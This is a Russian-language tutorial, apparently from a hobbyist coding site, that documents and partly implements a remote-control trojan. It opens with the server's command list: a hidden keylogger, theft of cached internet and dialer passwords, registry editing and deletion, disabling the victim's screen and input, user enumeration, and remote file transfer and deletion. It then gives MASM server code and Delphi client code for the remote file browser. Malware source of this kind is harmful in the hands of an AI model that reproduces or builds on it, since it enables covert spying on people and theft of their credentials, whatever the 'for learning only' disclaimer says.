Выключить экран, мышь и клаву. Команды «clsc», «clms» и «clkl». ВНИМАНИЕ. Используются команды «rundll32.exe user,disableoemlayer», «rundll32.exe mouse,disable» и «rundll32.exe keyboard,disable». Обратные команды типа «rundll32.exe mouse,enable» не работают. Комп придется перегружать.

Убрать с экрана и показать панель задач. Команды «ht» и «st» соответственно.

Пробипать динамиком. Команда «bp „.

ПРИМЕР:

“bp 13»

Просмотр подключей выбранного ключа реестра. Команда «RegVKey _#13_».:

0: HKCU;

1: HKLM;

2: HKU;

3: HKCC.

ПРИМЕР:

«RegVKey Software_#13_1» // Просмотр всех подключей в HKEY_LOCAL_MACHINE\SOFTWARE

Просмотр параметров выбранного ключа реестра. Команда «RegVPar _#13_».

ПРИМЕР:

«RegVPar Software_#13_1» // Просмотр всех параметров в HKEY_LOCAL_MACHINE\SOFTWARE

Создать подключ в выбранном ключе реестра. Команда «RegCKey _#13__#13_».

ПРИМЕР:

«RegCKey Software_#13_sss_#13_1» // Создать подключ «sss» в HKEY_LOCAL_MACHINE\SOFTWARE

Создать/Изменить строковой параметр в выбранном ключе реестра. Команда «RegCPar _#13__#13__#13_».

ПРИМЕР:

«RegCPar Software_#13_sss_#13_ddd_#13_1» // Создать/изменить параметр «sss» с значением «ddd» в HKEY_LOCAL_MACHINE\SOFTWARE

Создать/Изменить числовой параметр в выбранном ключе реестра. Команда «RegCWPr _#13__#13__#13_».

ПРИМЕР:

«RegCWPr Software_#13_sss_#13_666_#13_1» // Создать/изменить параметр «sss» с значением «666» в HKEY_LOCAL_MACHINE\SOFTWARE

Удалить подключ в реестре. Команда «RegDKey _#13_».

ПРИМЕР:

«RegDKey Software\sss_#13_1» // Удалить подключ «sss» в HKEY_LOCAL_MACHINE\SOFTWARE

Удалить параметр в ключе реестра. Команда «RegDPar _#13__#13_».

ПРИМЕР:

«RegDPar Software\sss_#13_ddd_#13_1» // Удалить параметр «ddd» в HKEY_LOCAL_MACHINE\SOFTWARE\sss

Для всех нижеследующих команд необходима дополнительная DLL.

Включить клавиатурный шпион. Команда "KeySpyON ". Включить кл.шпион с записью в. Файл потом закачивается с помощью файлового менеджера. Файл имеет атрибут системный и для юзера в проводнике не виден.

Выключить клавиатурный шпион. Команда «KeySpyOFF».

Получить кешированные инет-пароли. Команда «CrckP». Сервер должен вывести все пароли, на свойствах соединения которых стоит «Сохранять пароли». Только для Win9x/ME.

Получить инет-пароли из EType Dialer. Команда «CrkED».

Получить список доступных по сети компьютеров. Команда «UserList».

Получить список зарегестрированных в WinNT-server пользователей на удаленном компьютере. Команда «ServList». Только для WinNT-server.

Команды файлового манеджера.

Показать список зарегистрированных в системе дисков — «ld». Возвращает список дисков со строкой "[[[ListDrvr " в начале.

Показать список файлов и каталогов в указанной директории — "ld ". В начале списка стоит «[[[ListFile _#13_».

Создать каталог в текущей директории — «MakeDir „.

ПРИМЕР:

“MakeDir 111»

Переименовать/перенести, скопировать файл, каталог — «CopFile _#13__#13__#13_».:

0: копировать каталог со всем содержимым;

1: перенести/переименовать каталог;

2: копировать файл;

3: перенести/переименовать файл.

ПРИМЕР:

«CopFile C:\WINDOWS\_#13_win.com_#13_C:\TEMP\1.tmp_#13_3»

Удалить файл, пустой каталог — "DelFile ". Удаляет файл или пустой каталог. Если каталог, то на конце должно быть «\».— полный путь.

ПРИМЕР:

«DelFile C:\WINDOWS\win.com» или «C:\WINDOWS\»

Показать атрибуты файла, каталога — «ShowAttr „.

ПРИМЕР:

“ShowAttr C:\WINDOWS\win.com»

Изменить атрибуты файла, каталога — «SetAttrb _#13_».

ПРИМЕР:

«SetAttrb C:\WINDOWS\win.com_#13_0»

Получить файл с сервера — «LoadFile _#13_». Файл передается по частям и — размер передаваемого буфера для файла. На разных компах была замечена такая особенность: клиент и сервер получают не столько, сколько указано, а столько, сколько захотят (т. е. он может принять подряд 4800, 6800, 8600, и т. д.).Поэтому была сделана возможность установки размера буфера приема и отправки.

ПРИМЕР:

«LoadFile C:\WINDOWS\win.com_#13_4000»

Отправить файл на сервер. Файл разбивается (в случае необходимости) на части. Размер частей зависит от буфера обмна. Вначале посылается команда «SaveFile _#13_». Потом шлются команды «SconFile _#13_», где на сервер отправляется весь файл по частям. Сервер после получения и записи должен отвечать. Последняя часть файла идет так: "SendFile ". Это говорит серверу что нужно записать и закрыть файл.

Функции дополнительной DLL («nb003.dll»):

DTrTestDLL

Проверка дополнительной DLL. Входной параметр — указатель на строку, выходной параметр — указатель на строку вида: «Проверка DLL выполнена. Полученная строка — …».

DTrLstProc

Список запущенных процессов. Входной параметр — число, определяющее систему сервера (0-Win9x/ME, 1-WinNT). Выходной параметр — указатель на список строк, содержащий названия и номер всех запущенных приложений.

DTrDelProc

Прервать процесс по номеру или ID. Входные параметры — число, определяющее систему сервера и номер или ID удаляемого процесса. Выходной параметр- указатель на строку с информацией о результате выполнения операции.

DTrGetScr

Получение снимка экрана в файл. Входной параметр — указатель на строку с полным путем и именем gif-файла. Выходной параметр- указатель на строку с информацией о результате выполнения операции.

DTrEDPass

Получить пароли EType Dialer. Входной параметр — число, определяющее систему сервера. Выходной параметр — указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции.

DTrCrkPass

Получить кешированные инет-пароли. Входной параметр — число, определяющее систему сервера. Выходной параметр — указатель на список строк, содержащий все полученные пароли или сообщение о неудаче выполнения операции.

DTrSrvLst

Получить список пользователей WinNT-server. Входной параметр — число, определяющее систему сервера. Выходной параметр — указатель на список строк, содержащий инфу обо всех юзерах или сообщение о неудаче выполнения операции.

DTrUsrLst

Получить список подключенных к серверу компов. Входной параметр — число, определяющее систему сервера. Выходной параметр — указатель на список строк, содержащий имена всех компьютеров или сообщение о неудаче выполнения операции.

DTrKeyProc

Функция клавиатурного шпиона.

Теперь о багах. Почему-то если сервер стоит на Win95, то в окне получаемых сообщений, если предыдущая посланная строка была больше текущей, то выводится полученная строка и окончание предыдущей. Это все фиксится обнулением буфера отправки или отправкой только стольких байт, сколько есть в подготовленной строке. Т.е. или перед отправкой надо ставить:

mov ecx, 6666

mov edi,offset BufStr0

lll_1: mov byte ptr [edi],0

inc edi

loop lll_1

Или, лучше, конструкцию:

invoke send,client,addr BufStr0,sizeof BufStr0,0

Надо переписать так:

invoke lstrlen, addr BufStr0

invoke send,client,addr BufStr0, eax, 0

P. S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

{/codecitation}

{codecitation class="brush: pascal; gutter: false;" width="600px"}

Автор: Danil

WEB-сайт: http://www.danil.dp.ua

— Можно ли загадать желание, если сидишь между двумя программистами?

— Можно! Только глючить будет.

Продолжим разговор о реализации моего клиента и сервера. В этой статье я дам описание как получать список файлов и каталогов с заданной директории на сервере и как их показать в клиенте. Рассмотрим кусок кода моего сервера с http://www.danil.dp.ua/dtr_s13s.zip

; ListFileToClient

; Если команда = ld path

invoke lstrcmp, addr CommandStr, addr ListFileStr

.IF eax == 0

mov edi,Bufcmd

add edi, 3

; Получаем path

invoke lstrcpy,addr CommandStr1,edi

invoke lstrlen, addr CommandStr1

invoke ltrim, addr CommandStr1, addr CommandStr1

invoke rtrim, addr CommandStr1, addr CommandStr1

invoke lstrcpy,addr path,addr CommandStr1

invoke lstrlen,addr path

invoke ltrim, addr path, addr path

invoke rtrim, addr path, addr path

; Текущий каталог — path

invoke SetCurrentDirectory,addr path

.IF (eax == 0)

; Если нет, то текущий каталог — C:\

invoke SetCurrentDirectory,addr ListFileStr1

invoke lstrcpy, addr path,addr ListFileStr1

invoke ltrim, addr path, addr path

invoke rtrim, addr path, addr path

.ENDIF

; Запуск процы отсылки списка клиенту

invoke MyFilePath

jmp endREAD

.ENDIF

Здесь вроде все понятно — устанавливаем текущий каталог, в случае ошибки, текущим каталогом будет C:\, и вызываем процу, которая описана в строчках с 2288 по 2330 («dtr13_s.asm»):

; FilePath

MyFilePath PROC

; Обнуляем буфер отправки

invoke lstrcpy, addr BufStr0, addr NilStr

invoke rtrim, addr BufStr0, addr BufStr0

; В буфере отправки в начале ставим "[[[ListFile "

invoke lstrcat, addr BufStr0, addr ListFileStr02

invoke lstrcat, addr BufStr0, addr path

invoke lstrcat, addr BufStr0, addr ListFileStr3

invoke lstrlen, addr path

invoke lstrcpy, addr CommandStr3, addr path

invoke lstrcat, addr CommandStr3, addr wcs

; Вызываем FindFirstFile. Функция FindFirstFile находит

; первый файл или каталог в текущей директории. FindNextFile

; находит остальные. В случае ошибки или если файлы закончились,

; в eax у нас INVALID_HANDLE_VALUE

invoke FindFirstFile, addr CommandStr3, addr Finfo

mov cmd, eax

.IF eax!= INVALID_HANDLE_VALUE

; Запускаем цикл поиска файлов

.WHILE TRUE

invoke lstrcpy, addr CommandStr1, addr Finfo.cFileName

mov eax, Finfo.dwFileAttributes

and eax, FILE_ATTRIBUTE_DIRECTORY

; Если каталог, то выделяем

.IF (eax!= 0)

invoke lstrcat, addr BufStr0, addr ListFileStr04

invoke lstrcat, addr BufStr0, addr CommandStr1

.ELSE

; Если файл то получаем размер

invoke lstrcat, addr BufStr0, addr CommandStr1

mov eax, Finfo.nFileSizeLow

invoke dwtoa, eax, addr CommandStr2

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr bkl

invoke lstrcat, addr BufStr0, addr CommandStr2

.ENDIF

; Добавляем строку в буфер отправки

invoke lstrcat, addr BufStr0, addr ListFileStr3

; Вызываем FindNextFile

invoke FindNextFile, cmd, addr Finfo

; Выходим если ошибка или файлы закончились

.BREAK.IF (eax == 0)

invoke lstrlen, addr BufStr0

; Выходим если достигли макс. размера буфера

.BREAK.IF (eax > 6400)

.ENDW

invoke FindClose, cmd

; Отправляем список файлов клиенту

invoke send,client,addr BufStr0,sizeof BufStr0,0

invoke Sleep, 10

.ENDIF

ret

MyFilePath ENDP

Посмотрим в сервере участок кода, возвращающий список дисков в строках с 688 по 745:

; ListDir

.IF (dword ptr [edi] == «dl»)

; Если команда ld

invoke rtrim, addr NilStr, addr BufStr0

; В буфере отправки в начале ставим "[[[ListDrvr "

invoke lstrcat, addr BufStr0, addr LstDrvStr005

invoke lstrcat, addr BufStr0, addr LstDrvStr000

invoke lstrcat, addr BufStr0, addr ListFileStr000

push edi

mov edi, offset LstDrvStr007

; Запускаем цикл по всем буквам англ. алфавита:

.WHILE TRUE

invoke lstrcpyn,addr CommandStr0,edi,2

.BREAK.IF (byte ptr [CommandStr0] < 30)

invoke rtrim, addr NilStr, addr CommandStr1

invoke lstrcat, addr CommandStr1, addr CommandStr0

invoke lstrcat, addr CommandStr1, addr bkl1

; Пытаемся получить тип драйвера текущей буквы

invoke GetDriveType, addr CommandStr1

.IF eax == DRIVE_REMOVABLE

; Если флоп и т. п.

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr CommandStr1

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr LstDrvStr001

invoke lstrcat, addr BufStr0, addr ListFileStr000

.ELSEIF eax == DRIVE_FIXED

; Если жесткий

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr CommandStr1

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr LstDrvStr002

invoke lstrcat, addr BufStr0, addr ListFileStr000

.ELSEIF eax == DRIVE_REMOTE

; Если сетевой

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr CommandStr1

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr LstDrvStr003

invoke lstrcat, addr BufStr0, addr ListFileStr000

.ELSEIF eax == DRIVE_CDROM

; Если сидюк

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr CommandStr1

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr LstDrvStr004

invoke lstrcat, addr BufStr0, addr ListFileStr000

.ELSEIF eax == DRIVE_RAMDISK

; Если в памяти

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr CommandStr1

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr NilStr

invoke lstrcat, addr BufStr0, addr LstDrvStr006

invoke lstrcat, addr BufStr0, addr ListFileStr000

.ENDIF

add edi, 1

.ENDW

push edi

; Отправка клиенту

invoke send,client,addr BufStr0,sizeof BufStr0,0

invoke Sleep, 10

jmp endREAD

.ENDIF

Теперь о клиенте. От сервера мы можем получить список файлов и дисков. В начале стоит «[[[ListFile path_#13_…» или «[[[ListDrvr …» соответственно. Потом идут строки с именами файлов, каталогов или дисков, разделенных символом с кодом 13. Теперь откроем наш клиент. В «Form1» в «ToolBar1» создадим кнопку и назвем ее «Файловый менеджер» и будет она называться «ToolButton2» (см. мои предыдущие статьи). Нажмем на нее 2 раза. В «Unit1.pas» запишем:

//Файловый менеджер

procedure TForm1.ToolButton2Click (Sender: TObject);

begin

Form3.Visible:= true;

if Form3.WindowState = wsMinimized then

Form3.WindowState:= wsNormal;

Form3.MyRefresh;

end;

По нажатию нашей кнопки у нас будет проявляться окно файлового менеджера. Создадим новую форму («Form3»). Процедура «MyRefresh» будет объявлена в «Unit3.pas». На форме «Form3», создадим:

ToolBar1 (Win32)

панель управления;

ToolButton1

кнопка для обновить;

Edit1 (Standart)

текущий диск на сервере;

ListBox1 (Standart)

для списка файлов;

Button1 (Standart)

показать список зарегистр. на сервере дисков.

В свойстве «Sorted» «ListBox1» ставим «true». В "MaxLen " «Edit1» ставим 1. Выбираем собития «onChange» в «Edit1» (смена диска), «onDblClick» в «ListBox1» (сменить каталог), «onClick» в «ToolButton1» и «Button1» (обновить список файлов и вывести список дисков), «onCreat» в «Form3». Переходим в раздел кода «Unit3.pas»:

unit Unit3;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, ToolWin, ComCtrls;

type

TForm3 = class (TForm)

ToolBar1: TToolBar;

Edit1: TEdit;

Label1: TLabel;

ListBox1: TListBox;

Button1: TButton;

ToolButton1: TToolButton;

procedure FormCreate (Sender: TObject);

procedure Edit1Change (Sender: TObject);

procedure ListBox1DblClick (Sender: TObject);

procedure Button1Click (Sender: TObject);

procedure ToolButton1Click (Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

//Получить список с сервера

procedure MyRefresh;

end;

var

Form3: TForm3;

// Переменные с текущим каталогом

DopNDir: string;

DopDDir: string;

implementation

uses

Unit1;

{$R *.DFM}

//При создании формы

procedure TForm3.FormCreate (Sender: TObject);

begin

// Текущий каталог в начале — C:\

DopDDir:= 'C:\';

DopNDir:= 'C:\';

Form3.Edit1.Text:= 'C';

end;

//Сменить диск

procedure TForm3.Edit1Change (Sender: TObject);

begin

if trim (Form3.Edit1.Text) copy (DopNDir, 1, 1) then

begin

DopNDir:= trim (Form3.Edit1.Text) ':\';

Form3.MyRefresh;

end;

end;

//Обновить

procedure TForm3.ToolButton1Click (Sender: TObject);

begin

Form3.MyRefresh;

end;

//Получить список с сервера

procedure TForm3.MyRefresh;

begin

Form3.ListBox1.Items.Clear;

if Form1.ClientSocket1.Active then

Form1.ClientSocket1.Socket.SendText ('ld ' trim (DopNDir));

end;

// Войти в каталог

procedure TForm3.ListBox1DblClick (Sender: TObject);

var

DopS01, DopS02, DopS03: string;

I: Integer;

begin

if (Form1.ClientSocket1.Active)and (Form3.ListBox1.Items.Count>0) then

begin

if (Form3.ListBox1.ItemIndex3) then

begin

if length (DopNDir)>3 then

begin

// Если в начало диска

if Form3.ListBox1.ItemIndex = 0 then

Form1.ClientSocket1.Socket.SendText ('ld ' copy (DopNDir, 1, 3) #0)

else

begin

// Если на каталог назад

DopS01:= trim (DopNDir);

DopS02:= '';

DopS03:= '';

I:= 1;

repeat

DopS02:= DopS02 DopS01[I];

if DopS01[I] = '\' then

begin

DopS03:= DopS03 DopS02;

DopS02:= '';

end;

inc (I);

until

I = length (DopS01);

Form1.ClientSocket1.Socket.SendText ('ld ' trim (DopS03) #0);

end;

end;

end

else

// Если войти в каталог

if copy (Form3.ListBox1.Items.Strings[Form3.ListBox1.ItemIndex], 1, 8) = ' DIR: ' then

Form1.ClientSocket1.Socket.SendText ('ld ' trim (DopNDir) trim (copy (Form3.ListBox1.Items.Strings[Form3.ListBox1.ItemIndex],9,length (Form3.ListBox1.Items.Strings[Form3.ListBox1.ItemIndex])-1)) '\' #0);

end;

end;

// Показать список зарегистр. на сервере дисков

procedure TForm3.Button1Click (Sender: TObject);

begin

Form1.ClientSocket1.Socket.SendText ('ld');

end;

end.

Переходим в раздел кода «Unit1.pas», находим процедуру обработки очереди «TRecvThread.CommandRecvThread». Для файлового менеджера перепишем ее так:

// обработка очереди

procedure TRecvThread.CommandRecvThread;

var

LstRdop: TLstRecv;

i: Integer;

DopS, Dop1, Dop2: string;

label

ex;

begin

LstRdop:= LstRbeg;

if LstRdop nil then

begin

try

DopS:= '';

DopS:= LstRdop^.BufIn;

// Если в начале "[[[ListFile "

if copy (DopS, 1, 12) = '[[[ListFile ' then

begin

Form3.ListBox1.Items.Clear;

Form3.Enabled:= false;

I:= 13;

Dop1:= '';

// Получаем текущий каталог

while not (ord (DopS[I])<30) do

begin

Dop1:= Dop1 DopS[I];

inc (I);

end;

inc (I);

DopNDir:= Dop1;

// Пишем текущий диск

Form3.Edit1.Text:= copy (Dop1,1,1);

// Получаем все, кроме "[[[ListFile " и текущего диска

Dop1:= copy (DopS, I, length (DopS) — I 1);

// И пишем в «ListBox1»

Form3.ListBox1.Items.Text:= Dop1;

if Form3.Visible then

begin

if Form3.WindowState = wsMinimized then

Form3.WindowState:= wsNormal;

Form3.SetFocus;

Form3.ListBox1.SetFocus;

Form3.ListBox1.ItemIndex:= 0;

end;

Form3.Enabled:= true;

goto ex;

end;

// Если вначале "[[[ListDrvr "

if copy (DopS, 1, 12) = '[[[ListDrvr ' then

begin

I:= 13;

Dop1:= '';

while not (ord (DopS[I]) < 30) do

begin

Dop1:= Dop1 DopS[I];

inc (I);

end;

inc (I);

Dop2:= copy (DopS, I, length (DopS) — I 1);

// Выводим окно со списком дисков

Application.MessageBox (PChar (Dop2), PChar (Dop1), mb_Ok mb_IconAsterisk mb_ApplModal);

goto ex;

end;

// Если не список файлов и дисков

if trim (DopS) '' then

Form1.Memo1.Lines.Add (DopS #13);

ex:

finally

if LstRDop^.Point nil then

LstRbeg:= LstRDop^.Point

else

LstRbeg:= nil;

if LstRbeg = nil then

LstRend:= nil;

Dispose (LstRdop);

end;

end;

end;

Проверим. Запустим сервер и клиент. Сконнектимся. Нажмем кнопку «Файловый менеджер». В появившемся окне нажмем «Button1». Все, проверка закончена.

P. S. Статья и программа предоставлена в целях обучения и вся ответственность за использование ложится на твои хилые плечи.

{/codecitation}